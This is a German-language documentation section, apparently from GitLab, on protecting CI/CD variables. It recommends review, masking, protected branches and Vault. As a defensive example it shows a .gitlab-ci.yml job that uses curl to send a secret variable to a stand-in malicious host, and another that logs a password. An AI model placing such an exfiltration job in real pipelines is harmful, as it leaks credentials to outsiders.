Sicherheit von CI/CD-Variablen

6. Sicherheit von CI/CD-Variablen

Code, der in die Datei .gitlab-ci.yml übertragen wird, kann Ihre Variablen gefährden. Variablen können versehentlich in einem Job-Protokoll offengelegt oder absichtlich an den Server eines Dritten gesendet werden.

Prüfen Sie alle Merge Requests, die Änderungen an der Datei .gitlab-ci.yml enthalten, bevor Sie die Änderungen mergen.

Prüfen Sie bei importierten Projekten die Datei .gitlab-ci.yml, bevor Sie Dateien hinzufügen oder Pipelines dafür ausführen.

Das folgende Beispiel zeigt schädlichen Code in einer .gitlab-ci.yml:

accidental-leak-job:
  script: # Passwort wird versehentlich offengelegt
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD
malicious-job:
  script: # Geheimnis wird absichtlich offengelegt
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

Um das Risiko zu verringern, dass Geheimnisse durch Skripte wie in accidental-leak-job versehentlich offengelegt werden, sollten alle Variablen mit vertraulichen Informationen in Job-Protokollen maskiert werden. Sie können eine Variable außerdem ausschließlich auf geschützte Branches und Tags beschränken.

Alternativ können Sie, wie bereits erwähnt, die GitLab-Integration mit HashiCorp Vault verwenden, um Geheimnisse zu speichern und abzurufen.

Schädliche Skripte wie in malicious-job müssen während des Reviews erkannt werden. Wenn Reviewer solchen Code finden, dürfen sie niemals eine Pipeline auslösen, da schädlicher Code sowohl maskierte als auch geschützte Variablen gefährden kann.

Variablenwerte werden mit aes-256-cbc verschlüsselt und in der Datenbank gespeichert. Diese Daten können nur mit einer gültigen Secrets-Datei gelesen und entschlüsselt werden.